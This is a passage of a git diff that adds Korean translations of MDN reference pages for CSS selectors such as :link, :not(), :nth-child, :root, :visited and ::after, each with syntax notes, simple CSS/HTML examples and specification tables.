+ <td>{{ SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':hover') }}</td>
+ <td>Initial definition.</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.hover")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://code.google.com/p/chromium/issues/detail?id=370155">Chromium 버그 #370155: Don't make <code>:hover</code> sticky on tap on sites that set a mobile viewport</a></li>
+ <li><a href="https://code.google.com/p/chromium/issues/detail?id=306581">Chromium 버그 #306581: Immediately show hover and active states on touch when page isn't scrollable.</a></li>
+</ul>
diff --git a/files/ko/web/css/_colon_link/index.html b/files/ko/web/css/_colon_link/index.html
new file mode 100644
index 0000000000..f17f896eab
--- /dev/null
+++ b/files/ko/web/css/_colon_link/index.html
@@ -0,0 +1,105 @@
+---
+title: ':link'
+slug: 'Web/CSS/:link'
+tags:
+ - CSS
+ - Layout
+ - Pseudo-class
+ - Reference
+ - Web
+translation_of: 'Web/CSS/:link'
+---
+<div>{{ CSSRef }}</div>
+
+<p><span class="seoSummary"><strong><code>:link</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 아직 방문하지 않은 요소를 나타냅니다.</span> <code>href</code> 속성을 가진 {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}} 중 방문하지 않은 모든 요소를 선택합니다.</p>
+
+<pre class="brush: css no-line-numbers">/* 아직 방문하지 않은 &lt;a&gt; 요소를 선택 */
+a:link {
+ color: red;
+}</pre>
+
+<p><code>:link</code> 의사 클래스로 정의한 스타일은 자신보다 뒤에 위치하고 동등한 명시성을 가진 다른 링크 의사 클래스({{cssxref(":active")}}, {{cssxref(":hover")}}, {{cssxref(":visited")}})가 덮어씁니다. 링크를 적절히 디자인하려면 LVHA-순서(<code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>)를 따라, <code>:active</code> 규칙을 다른 모든 링크 규칙들보다 앞에 배치하세요.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 방문 여부에 상관하지 않고 요소를 선택하려면 {{cssxref(":any-link")}}를 사용하세요.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>대부분의 브라우저는 방문한 링크에 기본값으로 특별한 {{cssxref("color")}} 값을 지정합니다. 따라서 다음 예제의 링크를 방문한 적이 없을 때만 글자 색이 적용된 모습을 볼 수 있고, 방문한 적이 있으면 브라우저 기록을 지워서 확인할 수 있습니다. 그러나 방문한 링크의 배경색은 보통 브라우저가 지정하지 않으므로 {{cssxref("background-color")}}는 계속 확인할 수 있습니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;a href="#ordinary-target"&gt;평범한 링크입니다.&lt;/a&gt;&lt;br&gt;
+&lt;a href=""&gt;이 링크는 이미 방문했습니다.&lt;/a&gt;&lt;br&gt;
+&lt;a&gt;플레이스홀더 링크 (스타일 적용 안됨)&lt;/a&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">a:link {
+ background-color: gold;
+ color: green;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('HTML WHATWG', 'scripting.html#selector-link', ':link') }}</td>
+ <td>{{ Spec2('HTML WHATWG') }}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS4 Selectors', '#link', ':link') }}</td>
+ <td>{{ Spec2('CSS4 Selectors') }}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Selectors', '#link', ':link') }}</td>
+ <td>{{ Spec2('CSS3 Selectors') }}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'selector.html#link-pseudo-classes', ':link') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>Lift the restriction to only apply it for {{ HTMLElement("a") }} element.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS1', '#anchor-pseudo-classes', ':link') }}</td>
+ <td>{{ Spec2('CSS1') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.link")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>링크 관련 의사 클래스: {{ cssxref(":visited") }}, {{ cssxref(":hover") }}, {{ cssxref(":active") }}</li>
+</ul>
diff --git a/files/ko/web/css/_colon_not/index.html b/files/ko/web/css/_colon_not/index.html
new file mode 100644
index 0000000000..f471cce411
--- /dev/null
+++ b/files/ko/web/css/_colon_not/index.html
@@ -0,0 +1,71 @@
+---
+title: ':not()'
+slug: 'Web/CSS/:not'
+tags:
+ - CSS
+ - Layout
+ - Pseudo-class
+ - Reference
+translation_of: 'Web/CSS/:not'
+---
+<div>{{ CSSRef() }}</div>
+
+<p>부정(<strong>negation</strong>) <a href="/ko/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">CSS 가상 클래스</a> <code>:not(X)</code>는 인수로 간단한 선택자(selector) <var>X</var>를 취하는 기능 표기법입니다. 인수로 표시되지 않은 요소와 일치합니다. <var>X</var>는 다른 부정 선택자를 포함해서는 안 됩니다.</p>
+
+<div class="note"><strong>주의:</strong>
+
+<ul>
+ <li>쓸모없는 선택자는 이 가상 클래스를 사용하여 작성될 수 있습니다. 예를 들어, <code>:not(*)</code>은 임의 요소가 아닌 모든 요소와 일치합니다. 그래서 규칙이 결코 적용되지 않습니다.</li>
+ <li>다른 규칙을 다시 작성할 수 있습니다. 가령 <code>foo:not(bar)</code>는 간단한 <code>foo</code>와 같은 요소와 일치합니다. 그럼에도 불구하고 첫 요소의 <a href="/ko/docs/Web/CSS/Specificity" title="Specificity">명시도</a>가 더 높습니다.</li>
+ <li><code>:not(foo){}</code>는 <strong>{{HTMLElement("html")}} 및 {{HTMLElement("body")}} 포함</strong> 뭐든지 <code>foo</code>가 아닌 것과 일치합니다.</li>
+ <li>이 선택자는 한 요소에만 적용됩니다. 따라서 모든 조상(ancestor)을 제외하는 데 사용할 수 없습니다. 예를 들어, <code>body :not(table) a</code>는 {{HTMLElement("tr")}} 요소가 선택자의 <code>:not()</code> 부분과 일치하기 때문에, 여전히 표 내부 링크에 적용됩니다.</li>
+</ul>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">:not(selector) { <em>style properties</em> }</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: css">p:not(.classy) { color: red; }
+body :not(p) { color: green; }</pre>
+
+<p>위의 CSS 및 아래 HTML이 주어진다면...</p>
+
+<pre class="brush: html">&lt;p&gt;Some text.&lt;/p&gt;
+&lt;p class="classy"&gt;Some other text.&lt;/p&gt;
+&lt;span&gt;One more text&lt;span&gt;
+</pre>
+
+<p>이 같은 출력을 얻습니다:</p>
+
+<p>{{ EmbedLiveSample('Examples', '', '', '', 'Web/CSS/:not') }}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS4 Selectors', '#negation', ':not()') }}</td>
+ <td>{{ Spec2('CSS4 Selectors') }}</td>
+ <td>인수로 일부 비 간단 선택자를 허용토록 확장.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Selectors', '#negation', ':not()') }}</td>
+ <td>{{ Spec2('CSS3 Selectors') }}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("css.selectors.not")}}</p>
diff --git a/files/ko/web/css/_colon_nth-child/index.html b/files/ko/web/css/_colon_nth-child/index.html
new file mode 100644
index 0000000000..2368a66641
--- /dev/null
+++ b/files/ko/web/css/_colon_nth-child/index.html
@@ -0,0 +1,196 @@
+---
+title: ':nth-child'
+slug: 'Web/CSS/:nth-child'
+tags:
+ - CSS
+ - Layout
+ - Pseudo-class
+ - Reference
+ - Web
+translation_of: 'Web/CSS/:nth-child'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS" title="CSS">CSS</a> <strong><code>:nth-child()</code></strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 형제 사이에서의 순서에 따라 요소를 선택합니다.</p>
+
+<pre class="brush: css no-line-numbers">/* 목록의 두 번째 &lt;li&gt; 선택 */
+li:nth-child(2) {
+ color: lime;
+}
+
+/* 임의의 그룹에서 네 번째에 위치하는 모든 요소 선택 */
+:nth-child(4n) {
+ color: lime;
+}
+</pre>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<p><code>nth-child</code> 의사 클래스는 형제의 목록에서, 선택하려는 요소의 인덱스 패턴을 나타내는 하나의 매개변수를 사용해 지정합니다. 인덱스는 1부터 시작합니다.</p>
+
+<h3 id="키워드_값">키워드 값</h3>
+
+<dl>
+ <dt><code>odd</code></dt>
+ <dd>형제 요소에서 홀수번째(1, 3, 5, ...)인 요소를 나타냅니다.</dd>
+ <dt><code>even</code></dt>
+ <dd>형제 요소에서 짝수번째(2, 4, 6, ...)인 요소를 나타냅니다.</dd>
+</dl>
+
+<h3 id="함수형_표기법">함수형 표기법</h3>
+
+<dl>
+ <dt><code>&lt;An+B&gt;</code></dt>
+ <dd>사용자 지정 패턴을 만족한 인덱스를 가지는 요소를 나타냅니다. An+B의 형태로 나타내며,<br>
+     <code>A</code>는 정수 인덱스 증감량,<br>
+     <code>B</code>는 정수 오프셋,<br>
+     <code>n</code>은 0부터 시작하는 모든 양의 정수를 나타냅니다.</dd>
+ <dd>목록의 <em>An+B</em>번째 요소라고 해석할 수 있습니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="Example_selectors" name="Example_selectors">선택자</h3>
+
+<dl>
+ <dt><code>tr:nth-child(odd)</code> 또는 <code>tr:nth-child(2n+1)</code></dt>
+ <dd>HTML 표의 홀수번째 행을 나타냅니다.</dd>
+ <dt><code>tr:nth-child(even)</code> 또는 <code>tr:nth-child(2n)</code></dt>
+ <dd>HTML 표의 짝수번째 행을 나타냅니다.</dd>
+ <dt><code>:nth-child(7)</code></dt>
+ <dd>임의의 7번째 요소를 나타냅니다.</dd>
+ <dt><code>:nth-child(5n)</code></dt>
+ <dd><strong>5</strong> [=5×1], <strong>10</strong> [=5×2], <strong>15</strong> [=5×3], <strong>...</strong> 번째의 요소를 나타냅니다. 패턴 공식을 만족하는 첫 번째 값은 <strong>0</strong> [=5x0]으로서 아무 요소도 선택하지 않는데, 요소의 인덱스는 1부터 시작하지만 <code>n</code>은 0부터 증가하기 때문입니다. 다소 의아할 수 있으나, 바로 아래 예제처럼 공식의 B 부분이 &gt;0인 경우 보다 납득하기 쉬워집니다.</dd>
+ <dt><code>:nth-child(n+7)</code></dt>
+ <dd>7번째와 그 이후의 모든 요소, 즉 <strong>7</strong> [=0+7], <strong>8</strong> [=1+7], <strong>9</strong> [=2+7], <strong>...</strong> 를 나타냅니다.</dd>
+ <dt><code>:nth-child(3n+4)</code></dt>
+ <dd><strong>4</strong> [=(3×0)+4], <strong>7</strong> [=(3×1)+4], <strong>10</strong> [=(3×2)+4], <strong>13</strong> [=(3×3)+4], <strong>...</strong> 번째의 요소를 나타냅니다.</dd>
+ <dt><code>:nth-child(-n+3)</code></dt>
+ <dd>앞에서 세 개의 요소를 나타냅니다. [=-0+3, -1+3, -2+3]</dd>
+ <dt><code>p:nth-child(n)</code></dt>
+ <dd>형제 그룹 내의 모든 <code>&lt;p&gt;</code> 요소를 나타냅니다. 단순한 <code>p</code> 선택자와 동일하지만 더 높은 <a href="/ko/docs/Web/CSS/Specificity">명시도</a>를 가집니다.</dd>
+ <dt><code>p:nth-child(1)</code> 또는 <code>p:nth-child(0n+1)</code></dt>
+ <dd>형제 그룹 내의 모든 첫 번째 <code>&lt;p&gt;</code> 요소를 나타냅니다. {{cssxref(":first-child")}} 선택자와 동일하며 같은 <a href="/ko/docs/Web/CSS/Specificity">명시도</a>를 가집니다.</dd>
+ <dt><code>p:nth-child(n+8):nth-child(-n+15)</code></dt>
+ <dd>형제 그룹 내에서 8번째부터 15번째 까지의 <code>&lt;p&gt;</code> 요소를 나타냅니다.</dd>
+</dl>
+
+<h3 id="자세한_예제">자세한 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html">&lt;h3&gt;&lt;code&gt;span:nth-child(2n+1)&lt;/code&gt;, WITHOUT an
+ &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt; among the child elements.&lt;/h3&gt;
+&lt;p&gt;Children 1, 3, 5, and 7 are selected.&lt;/p&gt;
+&lt;div class="first"&gt;
+ &lt;span&gt;Span 1!&lt;/span&gt;
+ &lt;span&gt;Span 2&lt;/span&gt;
+ &lt;span&gt;Span 3!&lt;/span&gt;
+ &lt;span&gt;Span 4&lt;/span&gt;
+ &lt;span&gt;Span 5!&lt;/span&gt;
+ &lt;span&gt;Span 6&lt;/span&gt;
+ &lt;span&gt;Span 7!&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;br&gt;
+
+&lt;h3&gt;&lt;code&gt;span:nth-child(2n+1)&lt;/code&gt;, WITH an
+ &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt; among the child elements.&lt;/h3&gt;
+&lt;p&gt;Children 1, 5, and 7 are selected.&lt;br&gt;
+ 3 is used in the counting because it is a child, but it isn't
+ selected because it isn't a &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;.&lt;/p&gt;
+&lt;div class="second"&gt;
+ &lt;span&gt;Span!&lt;/span&gt;
+ &lt;span&gt;Span&lt;/span&gt;
+ &lt;em&gt;This is an `em`.&lt;/em&gt;
+ &lt;span&gt;Span&lt;/span&gt;
+ &lt;span&gt;Span!&lt;/span&gt;
+ &lt;span&gt;Span&lt;/span&gt;
+ &lt;span&gt;Span!&lt;/span&gt;
+ &lt;span&gt;Span&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;br&gt;
+
+&lt;h3&gt;&lt;code&gt;span:nth-of-type(2n+1)&lt;/code&gt;, WITH an
+ &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt; among the child elements.&lt;/h3&gt;
+&lt;p&gt;Children 1, 4, 6, and 8 are selected.&lt;br&gt;
+ 3 isn't used in the counting or selected because it is an &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt;,
+ not a &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;, and &lt;code&gt;nth-of-type&lt;/code&gt; only selects
+ children of that type. The &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt; is completely skipped
+ over and ignored.&lt;/p&gt;
+&lt;div class="third"&gt;
+ &lt;span&gt;Span!&lt;/span&gt;
+ &lt;span&gt;Span&lt;/span&gt;
+ &lt;em&gt;This is an `em`.&lt;/em&gt;
+ &lt;span&gt;Span!&lt;/span&gt;
+ &lt;span&gt;Span&lt;/span&gt;
+ &lt;span&gt;Span!&lt;/span&gt;
+ &lt;span&gt;Span&lt;/span&gt;
+ &lt;span&gt;Span!&lt;/span&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">html {
+ font-family: sans-serif;
+}
+
+span,
+div em {
+ padding: 5px;
+ border: 1px solid green;
+ display: inline-block;
+ margin-bottom: 3px;
+}
+
+.first span:nth-child(2n+1),
+.second span:nth-child(2n+1),
+.third span:nth-of-type(2n+1) {
+ background-color: lime;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<div>{{EmbedLiveSample('자세한_예제', 550, 550)}}</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Selectors', '#nth-child-pseudo', ':nth-child')}}</td>
+ <td>{{Spec2('CSS4 Selectors')}}</td>
+ <td>Adds <code>of &lt;selector&gt;</code> syntax and specifies that matching elements are not required to have a parent.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Selectors', '#nth-child-pseudo', ':nth-child')}}</td>
+ <td>{{Spec2('CSS3 Selectors')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.nth-child")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{ Cssxref(":nth-of-type") }}, {{ Cssxref(":nth-last-child") }}</li>
+</ul>
diff --git a/files/ko/web/css/_colon_root/index.html b/files/ko/web/css/_colon_root/index.html
new file mode 100644
index 0000000000..5fb9ed0fd6
--- /dev/null
+++ b/files/ko/web/css/_colon_root/index.html
@@ -0,0 +1,78 @@
+---
+title: ':root'
+slug: 'Web/CSS/:root'
+tags:
+ - CSS
+ - Layout
+ - Pseudo-class
+ - Reference
+ - Selector
+ - Web
+translation_of: 'Web/CSS/:root'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>:root</code></strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 문서 트리의 루트 요소를 선택합니다 HTML의 루트 요소는 {{htmlelement("html")}} 요소이므로, <code>:root</code>의 <a href="/ko/docs/Web/CSS/Specificity">명시도</a>가 더 낮다는 점을 제외하면 <code>html</code> 선택자와 똑같습니다.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* 문서의 루트 요소 선택
+ HTML에서는 &lt;html&gt; */
+:root {
+ background: yellow;
+}</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="전역_CSS_변수_선언하기">전역 CSS 변수 선언하기</h3>
+
+<p><code>:root</code>는 전역 <a href="/ko/docs/Web/CSS/Using_CSS_custom_properties">CSS 변수</a> 선언에 유용하게 사용할 수 있습니다.</p>
+
+<pre class="brush: css notranslate">:root {
+ --main-color: hotpink;
+ --pane-padding: 5px 42px;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Selectors', '#root-pseudo', ':root')}}</td>
+ <td>{{Spec2('CSS4 Selectors')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Selectors', '#root-pseudo', ':root')}}</td>
+ <td>{{Spec2('CSS3 Selectors')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.root")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{htmlelement("html")}}</li>
+ <li>{{domxref("Document.rootElement")}}</li>
+ <li>{{domxref("Node.getRootNode()")}}</li>
+ <li>{{domxref("Node.rootNode")}}</li>
+ <li>{{domxref("Element.shadowRoot")}}</li>
+ <li>{{domxref("ShadowRoot")}}</li>
+</ul>
diff --git a/files/ko/web/css/_colon_visited/index.html b/files/ko/web/css/_colon_visited/index.html
new file mode 100644
index 0000000000..1c1f962b37
--- /dev/null
+++ b/files/ko/web/css/_colon_visited/index.html
@@ -0,0 +1,121 @@
+---
+title: ':visited'
+slug: 'Web/CSS/:visited'
+tags:
+ - CSS
+ - Layout
+ - Pseudo-class
+ - Reference
+ - Web
+translation_of: 'Web/CSS/:visited'
+---
+<div>{{ CSSRef }}</div>
+
+<p><strong><code>:visited</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">의사 클래스</a>는 사용자가 방문한 적이 있는 링크를 나타냅니다. <code>:visited</code>가 바꿀 수 있는 스타일은 개인정보 보호를 위해 매우 제한적입니다.</p>
+
+<pre class="brush: css no-line-numbers">/* 방문한 적이 있는 &lt;a&gt; 선택 */
+a:visited {
+ color: green;
+}
+</pre>
+
+<p><code>:visited</code> 의사 클래스로 정의한 스타일은 자신보다 뒤에 위치하고 동등한 명시성을 가진 다른 링크 의사 클래스({{cssxref(":link")}}, {{cssxref(":hover")}}, {{cssxref(":active")}})가 덮어씁니다. 링크를 적절히 디자인하려면 <em>LVHA-순서(</em><code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>)를 따라, <code>:visited</code> 규칙을 <code>:link</code> 뒤, <code>:hover</code>와 <code>:active</code> 앞에 배치하세요.</p>
+
+<h2 id="스타일_제한">스타일 제한</h2>
+
+<p>브라우저는 개인정보 보호를 위해 <code>:visited</code>에서 사용할 수 있는 스타일을 엄격히 제한하고 있습니다.</p>
+
+<ul>
+ <li>사용 가능한 CSS 속성은 {{ cssxref("color") }}, {{ cssxref("background-color") }}, {{ cssxref("border-color") }}, {{ cssxref("border-bottom-color") }}, {{ cssxref("border-left-color") }}, {{ cssxref("border-right-color") }}, {{ cssxref("border-top-color") }}, {{ cssxref("column-rule-color") }}, {{ cssxref("outline-color") }}입니다.</li>
+ <li>사용 가능한 SVG 속성은 {{SVGAttr("fill")}}과{{SVGAttr("stroke")}}입니다.</li>
+ <li>허용 가능한 속성의 알파 채널 값은 무시하고, 대신 <code>:visited</code>가 아닐 때의 알파 채널을 사용합니다. 단, 그 값이 0일 땐 <code>:visited</code>의 스타일을 모두 무시합니다.</li>
+ <li>사용자 입장에서는 방문한 링크의 색이 바뀐 것처럼 보일 때도, {{domxref("window.getComputedStyle()")}} 메서드는 거짓으로라도 항상 <code>:visited</code>가 아닐 때의 스타일을 반환합니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>참고:</strong> 스타일 제한에 관한 더 많은 정보와 이유에 대해서는 <a href="/ko/docs/Web/CSS/Privacy_and_the_:visited_selector">개인정보와 :visited 선택자</a> 문서를 참고하세요.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>기본적으로 색이 없거나 투명한 속성은 <code>:visited</code>로 수정할 수 없습니다. <code>:visited</code>가 수정 가능한 속성 중 브라우저가 기본값을 지정하는건 보통 <code>color</code>와 <code>column-rule-color</code> 뿐입니다. 따라서 다른 속성을 수정하고 싶다면 기본값을 직접 지정해야 합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;a href="#test-visited-link"&gt;링크를 아직 방문하지 않으셨나요?&lt;/a&gt;&lt;br&gt;
+&lt;a href=""&gt;이미 방문했습니다.&lt;/a&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">a {
+ /* 특정 속성에 투명하지 않은 기본값을 지정해
+ :visited 상태로 바꿀 수 있도록 설정 */
+ background-color: white;
+ border: 1px solid white;
+}
+
+a:visited {
+ background-color: yellow;
+ border-color: hotpink;
+ color: hotpink;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('HTML WHATWG', 'scripting.html#selector-visited', ':visited') }}</td>
+ <td>{{ Spec2('HTML WHATWG') }}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS4 Selectors', '#link', ':visited') }}</td>
+ <td>{{ Spec2('CSS4 Selectors') }}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Selectors', '#link', ':visited') }}</td>
+ <td>{{ Spec2('CSS3 Selectors') }}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'selector.html#link-pseudo-classes', ':visited') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>Lifts the restriction to only apply <code>:visited</code> to the {{ HTMLElement("a") }} element. Lets browsers restrict its behavior for privacy reasons.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS1', '#anchor-pseudo-classes', ':visited') }}</td>
+ <td>{{ Spec2('CSS1') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.visited")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Privacy_and_the_:visited_selector">개인정보와 :visited 선택자</a></li>
+ <li>링크 관련 의사 클래스: {{cssxref(":link")}}, {{cssxref(":active")}}, {{cssxref(":hover")}}</li>
+</ul>
diff --git a/files/ko/web/css/_doublecolon_after/index.html b/files/ko/web/css/_doublecolon_after/index.html
new file mode 100644
index 0000000000..30f44876f7
--- /dev/null
+++ b/files/ko/web/css/_doublecolon_after/index.html
@@ -0,0 +1,179 @@
+---
+title: '::after (:after)'
+slug: 'Web/CSS/::after'
+tags:
+ - CSS
+ - Layout
+ - Pseudo-element
+ - Reference
+ - Web
+translation_of: 'Web/CSS/::after'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">CSS에서, <strong><code>::after</code></strong>는 선택한 요소의 맨 마지막 자식으로 <a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a>를 하나 생성합니다. 보통 {{cssxref("content")}} 속성과 함께 짝지어, 요소에 장식용 콘텐츠를 추가할 때 사용합니다.</span> 기본값은 인라인입니다.</p>
+
+<pre class="brush: css no-line-numbers language-css"><code class="language-css"><span class="comment token">/* 링크 뒤에 화살표 추가 */</span>
+<span class="selector token">a<span class="pseudo-class token">::after</span> </span><span class="punctuation token">{</span>
+ <span class="property token">content: "</span></code>→<code class="language-css"><span class="property token">";</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="note">
+<p><strong>참고:</strong> <code>::before</code>와 <code>::after</code>로 생성한 의사 요소는 <a href="https://www.w3.org/TR/CSS2/generate.html#before-after-content">원본 요소의 서식 박스에 포함되므로</a>,<em> </em>{{HTMLElement("img")}}나 {{HTMLElement("br")}} 등 <a href="/ko/docs/Web/CSS/Replaced_element">대체 요소</a>에 적용할 수 없습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<div class="note">
+<p><strong>참고:</strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>와 <a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a>를 구분하기 위해 CSS3부터<code>::after</code> 구문을 도입했습니다. 그러나 브라우저는 CSS2 구문인 <code>:after</code>도 허용합니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_사용법">간단한 사용법</h3>
+
+<p>평범한 문단과 흥미진진한 문단을 위해 클래스 두 개를 만들고, 문단 마지막에 의사 요소를 추가해보겠습니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p class="boring-text"&gt;적당히 평범하고 심심한 글입니다.&lt;/p&gt;
+&lt;p&gt;지루하지도 흥미진진하지도 않은 글입니다.&lt;/p&gt;
+&lt;p class="exciting-text"&gt;MDN 기여는 쉽고 재밌습니다.&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.exciting-text::after {
+ content: " &lt;- 흥미진진!";
+ color: green;
+}
+
+.boring-text::after {
+ content: " &lt;- 먼지풀풀";
+ color: red;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('간단한_사용법', 500, 150)}}</p>
+
+<h3 id="장식_예제">장식 예제</h3>
+
+<p>{{cssxref("content")}} 속성을 활용해 자유롭게 텍스트나 이미지를 추가할 수 있습니다.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;span class="ribbon"&gt;마지막의 주황색 상자를 바라보세요.&lt;/span&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.ribbon {
+ background-color: #5BC8F7;
+}
+
+.ribbon::after {
+ content: "멋진 주황색 상자입니다.";
+ background-color: #FFBA10;
+ border-color: black;
+ border-style: dotted;
+}</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{ EmbedLiveSample('장식_예제', 550, 40) }}</p>
+
